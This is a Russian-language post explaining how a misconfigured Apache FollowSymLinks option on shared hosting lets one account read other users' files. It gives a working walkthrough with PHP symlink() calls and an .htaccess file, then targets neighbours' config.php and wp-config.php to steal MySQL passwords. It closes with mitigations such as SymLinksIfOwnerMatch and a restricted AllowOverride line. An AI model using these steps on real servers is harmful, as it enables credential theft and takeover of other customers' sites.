Плюсам FollowSymLinks уделено немало статей, я хочу поведать об опасности его неправильной настройки.
Речь пойдет о серверах под Apache.
FollowSymLinks — инструмент «второго взлома». Нужен как минимум аккаунт (свой или взломанный на сервере) и желательно php.
Что делает FollowSymLinks? Делает при просмотре в браузере ссылку (symlink) идентичной файлу, на который она указывает. Плохо то, что FollowSymLinks никак не проверяет кому принадлежит файл. При этом сам Apache, имеет доступ к веб файлам всех пользователей.
Приступим!
Смотрим какой у нас путь к нашему скрипту на сайте (http://nash.site/)
пусть это будет /home/nash/public_html/view/some.php
сначала пробуем получить список директорий из /home/ средствами php
и находим там три каталога:
vasja
petja
kostja
Пишем в наш some.php:
symlink ('/home/vasja/public_html/nidex.php', 'vasja.txt');
symlink ('/home/petja/public_html/nidex.php', 'petja.txt');
symlink ('/home/kostja/public_html/nidex.php', 'kostja.txt');
Вызываем nash.site/some.php, получаем три симлинка.
Создаем в нашем каталоге view .htaccess с содержанием:
Options all
Options +Indexes
Options -SymLinksIfOwnerMatch
Options +FollowSymLinks
DirectoryIndex other.html
И пытаемся посмотреть в браузере
nash.site/view/
Если три других пользователя имеют сайты на php и сервер уязвим, то с большей вероятностью кликнув на .txt файлы вы сможете прочитать содержимое их index.php
Получилось? Делаем symlink на «config.php/wp-conwig.php/settings.php» в их каталогах, получаем пароли к mysql. Устанавливаем adminer, подключаемся к базе. Этого достаточно что-бы сломать почти любой сайт на уязвимом сервере.
Как решить проблему?
Использовать не FollowSymLinks, а ее аналог SymLinksIfOwnerMatch, который проверяет владельца файла и симлинка.
И всё? Так просто?
Нет. При «AllowOverride All» пользователь может отключить SymLinksIfOwnerMatch и включить FollowSymLinks. Придется писать неудобные конструкции вместо «AllowOverride All»:
AllowOverride AuthConfig FileInfo Indexes Limit Options=Indexes,Includes,IncludesNOEXEC,SymLinksIfOwnerMatch,MultiViews,None
это, правда, заставит «вылетать» сайты пользователей у кого прописано
Options +FollowSymLinks
в .htaccess. А таких много. Почти все, кто на Joomla/Drupal.
Есть еще вариант с патчем для apache, что бы он считал все FollowSymLinks, как SymLinksIfOwnerMatch. Таким путем пошел directadmin и возможно, также другие панели управления. Буду рад, если поможете собрать информацию.
Итог. Уязвимость старая, требует аккаунт на сервере. Встречается часто и позволяет скомпрометировать почти весь сервер.